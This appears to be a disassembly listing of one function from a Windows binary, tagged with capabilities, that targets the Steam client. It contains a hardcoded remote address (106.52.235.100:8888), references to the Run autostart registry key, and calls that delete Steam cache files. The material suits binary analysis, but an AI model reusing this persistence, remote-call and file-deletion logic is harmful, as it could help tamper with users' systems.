Function at 0x40d0e9
Capabilities:
Delete file
Initialize winsock library

Disassembly:
push 0x26c
mov eax, 0x54062f
call fcn.004e6a52
mov ebx, ecx
mov dword [ebp - 0x264], ebx
push str.Steam.exe
lea ecx, [ebp - 0xd0]
call fcn.004024f3
xor edi, edi
lea ecx, [ebp - 0xb8]
push str.SteamService.exe
mov dword [ebp - 4], edi
call fcn.004024f3
push str.steamwebhelper.exe
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 1
call fcn.004024f3
mov dword [ebp - 4], 2
lea eax, [ebp - 0x88]
push dword [ebp - 0x268]
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x274], edi
push eax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x270], edi
push eax
mov dword [ebp - 0x26c], edi
call fcn.00413a39
push fcn.004024ae
push 3
push 0x18
pop eax
push eax
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 4
push eax
call fcn.004e668d
lea ecx, [ebp - 0x274]
call fcn.00402029
lea eax, [ebp - 0x260]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, str.106.52.235.100
lea ecx, [ebp - 0x28]
call fcn.00406de6
lea esi, [ebx + 0x3d0]
push eax
mov ecx, esi
call fcn.004024b3
lea ecx, [ebp - 0x28]
call fcn.0040258a
push str.:8888
call fcn.004ff4a6
pop ecx
push eax
push str.:8888
mov ecx, esi
call fcn.004053a2
push esi
mov edx, str.http:__
lea ecx, [ebp - 0x28]
call fcn.004134ed
pop ecx
push eax
mov ecx, esi
call fcn.004024b3
lea ecx, [ebp - 0x28]
call fcn.0040258a
push str.SteamPath
lea ecx, [ebp - 0x40]
call fcn.004024f3
mov esi, eax
push str.SoftwareValveSteam
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 5
call fcn.004024f3
mov byte [ebp - 4], 6
add ebx, 0x3b4
push ecx
push ebx
push esi
mov edx, eax
call fcn.004017c6
add esp, 0xc
lea ecx, [ebp - 0x28]
mov esi, eax
call fcn.0040258a
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 4
call fcn.0040258a
test esi, esi
jns 0x40d279
push edi
push edi
push 0x5770cc
push edi
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, dword [ebp - 0x264]
push dword [eax + 0x248]
call dword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x40d3a5
xor eax, eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
push 0x5770e0
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 7
call fcn.004024f3
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 8
call fcn.004024f3
push ecx
lea ecx, [ebp - 0x28]
mov edx, eax
push ecx
call fcn.00401fd8
pop ecx
pop ecx
lea ecx, [ebp - 0x88]
call fcn.0040258a
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 7
call fcn.0040258a
push str._steam.cfg
lea eax, [ebp - 0x88]
push ebx
push eax
call fcn.00406bc5
add esp, 0xc
mov ecx, eax
call fcn.00406aaa
lea ecx, [ebp - 0x88]
call fcn.0040258a
push 0x3c
call fcn.0046cf9d
mov esi, eax
pop ecx
mov dword [ebp - 0x268], esi
mov byte [ebp - 4], 9
test esi, esi
je 0x40d331
sub esp, 0x18
mov ecx, esp
push ebx
mov dword [ecx], edi
mov dword [ecx + 0x10], edi
mov dword [ecx + 0x14], edi
call fcn.00402603
mov ecx, esi
call fcn.00409440
mov edi, eax
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x264]
push str._appcache_appinfo.vdf
push ebx
mov dword [eax + 0x3cc], edi
mov dword [eax + 0x3a4], 1
lea eax, [ebp - 0x70]
push eax
call fcn.00406bc5
add esp, 0xc
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x5c], 8
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmovae eax, dword [ebp - 0x70]
push eax
call esi
push str._appcachepackageinfo.vdf
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.00406bc5
add esp, 0xc
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 8
cmovae eax, dword [ebp - 0x58]
push eax
call esi
lea ecx, [ebp - 0x58]
call fcn.0040258a
lea ecx, [ebp - 0x70]
call fcn.0040258a
mov esi, dword [ebp - 0x274]
test esi, esi
je 0x40d41a
mov edi, dword [ebp - 0x270]
push 0x18
pop ebx
cmp esi, edi
je 0x40d3cf
mov ecx, esi
call fcn.0040258a
add esi, ebx
cmp esi, edi
jne 0x40d3bc
mov esi, dword [ebp - 0x274]
mov eax, dword [ebp - 0x26c]
sub eax, esi
mov dword [ebp - 0x268], esi
cdq
idiv ebx
imul eax, eax, 0x18
mov dword [ebp - 0x264], eax
cmp eax, 0x1000
jb 0x40d411
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x268]
push eax
call fcn.00401403
mov eax, dword [ebp - 0x264]
mov esi, dword [ebp - 0x268]
pop ecx
pop ecx
push eax
push esi
call fcn.004e6456
pop ecx
pop ecx
xor eax, eax
call fcn.004e6a01
ret 8